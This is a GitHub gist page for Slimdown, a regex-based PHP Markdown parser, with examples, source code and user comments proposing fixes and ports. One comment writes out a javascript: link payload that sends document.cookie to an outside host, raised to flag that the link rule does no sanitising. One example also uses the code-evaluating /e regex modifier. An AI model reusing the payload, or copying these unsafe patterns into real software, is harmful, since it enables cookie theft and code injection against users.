Skip to content

Instantly share code, notes, and snippets.

@jbroadway
Last active November 22, 2024 16:45
Show Gist options
  • Save jbroadway/2836900 to your computer and use it in GitHub Desktop.
Save jbroadway/2836900 to your computer and use it in GitHub Desktop.
Slimdown - A simple regex-based Markdown parser.

Slimdown

This project has moved to github.com/jbroadway/slimdown

A very basic regex-based Markdown parser. Supports the following elements (and can be extended via Slimdown::add_rule()):

  • Headers
  • Links
  • Bold
  • Emphasis
  • Deletions
  • Quotes
  • Inline code
  • Blockquotes
  • Ordered/unordered lists

Usage

Here is the general use case:

<?php

require_once ('Slimdown.php');

echo Slimdown::render (
	"# Page title\n\nAnd **now** for something _completely_ different."
);

?>

Adding rules

A simple rule to convert :) to an image:

<?php

require_once ('Slimdown.php');

Slimdown::add_rule ('/(\W)\:\)(\W)/', '\1<img src="smiley.png" />\2');

echo Slimdown::render ('Know what I\'m sayin? :)');

?>

In this example, we add GitHub-style internal linking (e.g., [[Another Page]]).

<?php

require_once ('Slimdown.php');

function mywiki_internal_link ($title) {
	return sprintf (
		'<a href="%s">%s</a>',
		preg_replace ('/[^a-zA-Z0-9_-]+/', '-', $title),
		$title
	);
}

Slimdown::add_rule ('/\[\[(.*?)\]\]/e', 'mywiki_internal_link (\'\\1\')');

echo Slimdown::render ('Check [[This Page]] out!');

?>

A longer example

<?php

require_once ('Slimdown.php');

echo Slimdown::render ("# Title

And *now* [a link](http://www.google.com) to **follow** and [another](http://yahoo.com/).

* One
* Two
* Three

## Subhead

One **two** three **four** five.

One __two__ three _four_ five __six__ seven _eight_.

1. One
2. Two
3. Three

More text with `inline($code)` sample.

> A block quote
> across two lines.

More text...");

?>
<?php
/**
* Slimdown - A very basic regex-based Markdown parser. Supports the
* following elements (and can be extended via Slimdown::add_rule()):
*
* - Headers
* - Links
* - Bold
* - Emphasis
* - Deletions
* - Quotes
* - Inline code
* - Blockquotes
* - Ordered/unordered lists
* - Horizontal rules
*
* Author: Johnny Broadway <johnny@johnnybroadway.com>
* Website: https://gist.github.com/jbroadway/2836900
* License: MIT
*/
class Slimdown {
public static $rules = array (
'/(#+)(.*)/' => 'self::header', // headers
'/\[([^\[]+)\]\(([^\)]+)\)/' => '<a href=\'\2\'>\1</a>', // links
'/(\*\*|__)(.*?)\1/' => '<strong>\2</strong>', // bold
'/(\*|_)(.*?)\1/' => '<em>\2</em>', // emphasis
'/\~\~(.*?)\~\~/' => '<del>\1</del>', // del
'/\:\"(.*?)\"\:/' => '<q>\1</q>', // quote
'/`(.*?)`/' => '<code>\1</code>', // inline code
'/\n\*(.*)/' => 'self::ul_list', // ul lists
'/\n[0-9]+\.(.*)/' => 'self::ol_list', // ol lists
'/\n(&gt;|\>)(.*)/' => 'self::blockquote ', // blockquotes
'/\n-{5,}/' => "\n<hr />", // horizontal rule
'/\n([^\n]+)\n/' => 'self::para', // add paragraphs
'/<\/ul>\s?<ul>/' => '', // fix extra ul
'/<\/ol>\s?<ol>/' => '', // fix extra ol
'/<\/blockquote><blockquote>/' => "\n" // fix extra blockquote
);
private static function para ($regs) {
$line = $regs[1];
$trimmed = trim ($line);
if (preg_match ('/^<\/?(ul|ol|li|h|p|bl)/', $trimmed)) {
return "\n" . $line . "\n";
}
return sprintf ("\n<p>%s</p>\n", $trimmed);
}
private static function ul_list ($regs) {
$item = $regs[1];
return sprintf ("\n<ul>\n\t<li>%s</li>\n</ul>", trim ($item));
}
private static function ol_list ($regs) {
$item = $regs[1];
return sprintf ("\n<ol>\n\t<li>%s</li>\n</ol>", trim ($item));
}
private static function blockquote ($regs) {
$item = $regs[2];
return sprintf ("\n<blockquote>%s</blockquote>", trim ($item));
}
private static function header ($regs) {
list ($tmp, $chars, $header) = $regs;
$level = strlen ($chars);
return sprintf ('<h%d>%s</h%d>', $level, trim ($header), $level);
}
/**
* Add a rule.
*/
public static function add_rule ($regex, $replacement) {
self::$rules[$regex] = $replacement;
}
/**
* Render some Markdown into HTML.
*/
public static function render ($text) {
$text = "\n" . $text . "\n";
foreach (self::$rules as $regex => $replacement) {
if (is_callable ( $replacement)) {
$text = preg_replace_callback ($regex, $replacement, $text);
} else {
$text = preg_replace ($regex, $replacement, $text);
}
}
return trim ($text);
}
}
@bennycode
Copy link

Thanks for sharing your Markdown parser! I just noticed that it matches only ***B** when your input is ***B***. So it misses to capture an asterisk for the strong / bold markup.

You can easily check that in the JavaScript console of your browser by using the RegEx from the Slimdown Parser for "strong":

"***B***".match(/(\*\*|__)(.*?)\1/g)

@possatti
Copy link

possatti commented Jun 5, 2015

Woow! I very much like your idea of converting Markdown only using regex. I think of doing the same thing from Markdown to LaTeX any day. While this doesn't happen, I created a similar python script, based on your work, called Piedown. Hope it can be useful for someone.

@arnaudjuracek
Copy link

Awesome, thanks !

Support for image ![Alt text](/path/to/img.jpg) syntax :

<?php
    unset(Slimdown::$rules['/\[([^\[]+)\]\(([^\)]+)\)/']);
    Slimdown::add_rule('/!\[([^\[]+)\]\(([^\)]+)\)/', '<img src=\'\2\' alt=\'\1\'>');
    Slimdown::add_rule('/\[([^\[]+)\]\(([^\)]+)\)/', '<a href=\'\2\'>\1</a>');
?>

@renehamburger
Copy link

I've just ported this to JavaScript (ES5): slimdown.js.

@taufik-nurrohman
Copy link

Just want to share my simple PHP Markdown parser. It supports code block and smartypants 😄 → https://gist.github.com/tovic/f349cf63d644eec04fe9

@handonam
Copy link

handonam commented Mar 6, 2016

Great work!! My only concern was this [^\)] portion of the hyperlink set, which accepts anything except the ending ). Couldn't this theoretically be executed?

[My XSS Attempt](javascript:window.location="http://example.com?yourCookie=" + document.cookie)

That's something that kind of frightens me.

edit: would something like this maybe work?

/\[([^\[]+)\]\((?:javascript:)?([^\)]+)\)/

This would put javascript: as an optional non-capturing group, but still retain the other groups as intended.

@tonioloewald
Copy link

The regex for links should be [^\]] (anything but a closing bracket) not [\^[]

@bulrush15
Copy link

bulrush15 commented Jun 8, 2016

Wow! This would be nice ported to Freepascal as a component. http://www.freepascal.org/. I'm stuck on converting MD to HTML lists because they are supposed to support lists within lists. I'm still new to Freepascal so I'm not good enough to convert it.

@wwiechorek
Copy link

wwiechorek commented Oct 4, 2016

In blockquote fix, I changed.
of:

'/<\/blockquote><blockquote>/' => "\n"

to:

'/<\/blockquote>\n<blockquote>/' => "<br>"

@WaKeMaTTa
Copy link

@jbroadway why did you create a gist and not a repo?

@kiwichrish
Copy link

hi.. Very handy.. Dropped it into codeigniter for a project. Are you still maintaining it? Found the space after blockquote error and went to push the change and realised I can't for a gist?

@robinchrist
Copy link

Hey,
I created a c++ port for a coding challenge: libMarkdownParser https://github.com/robinchrist/libMarkdownParser
Simple command line interfac: https://github.com/robinchrist/MarkdownParserCLI

Have fun!

@mischapeters
Copy link

Fix for when you want to use # in inline code or blockquote.
Replace: '/(#+)(.*)/' => 'self::header',
With: '/\n(#+)(.*)/' => 'self::header',

@erikvullings
Copy link

Thanks for sharing! Although marked supports all Markdown features, I did convert (and slightly improve) this version to TypeScript (~2kb vs 23kb). You can find it on GitHub, on NPM, and on the playground.

My improvements are mainly related to adding support for images, tables and codeblocks, and some other fixes. Clearly I did mention you as the original author.

@samphors
Copy link

Hi brother, how can I render HTML to markdown with your script?

@lux
Copy link

lux commented Sep 11, 2019

You should be able to just say echo Slimdown::render($my_text)

@gre-dev
Copy link

gre-dev commented Feb 26, 2022

To allow multiline <code> just add:

'/```(.*)```/s' => 'self::code_parse',

to the $rules array (at the beginning), then add the following function to the main class:

private static function code_parse ($regs) {
    $item = $regs[1];
    $item = htmlentities($item);
    $item = str_replace("\n\n", '<br>', $item);
    $item = str_replace("\n", '<br>', $item);
    while (mb_substr($item, 0, 4) === '<br>') {
        $item = mb_substr($item, 4);
    }
    while (mb_substr($item, -4) === '<br>') {
        $item = mb_substr($item, 0, -4);
    }
    return sprintf ("<code>%s</code>", trim($item));
}

Also, your para function should look like this:

private static function para ($regs) {
    $line = $regs[1];
    $trimmed = trim ($line);
    if (preg_match ('/^<\/?(ul|ol|li|h|p|bl|code)/', $trimmed)) {         // `code` added here
        return "\n" . $line . "\n";
    }
    if (!empty($trimmed)){
        return sprintf ("\n<p>%s</p>\n", $trimmed);
    }else{
        return sprintf($trimmed);
    }
}

@jbroadway
Copy link
Author

@gre-dev thanks!

I just moved this over to a proper repository and incorporated your code block support along with a few other fixes 😄

The new home for Slimdown is now:

https://github.com/jbroadway/slimdown

Cheers!

@christoferd
Copy link

Thank you!

@TM1Richard
Copy link

How would I go about making a list like
1
1a
1b

@erikvullings
Copy link

How would I go about making a list like 1 1a 1b

This is supported in markdown. Basically, markdown converts a list to a HTML <ol> (ordered list) element, which does not support your requirement.

@wordpressvn
Copy link

wordpressvn commented Nov 22, 2024

fix extra ul & ol

'/<\/ul>\s*<ul>/' => '',
'/<\/ol>\s*<ol>/' => '',

@jbroadway
Copy link
Author

fix extra ul & ol

'/<\/ul>\s*<ul>/' => '',
'/<\/ol>\s*<ol>/' => '',

Hey, the latest version of this is available here:

https://github.com/jbroadway/slimdown

If this is still an issue, can you make a PR with the fix there? Thanks!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment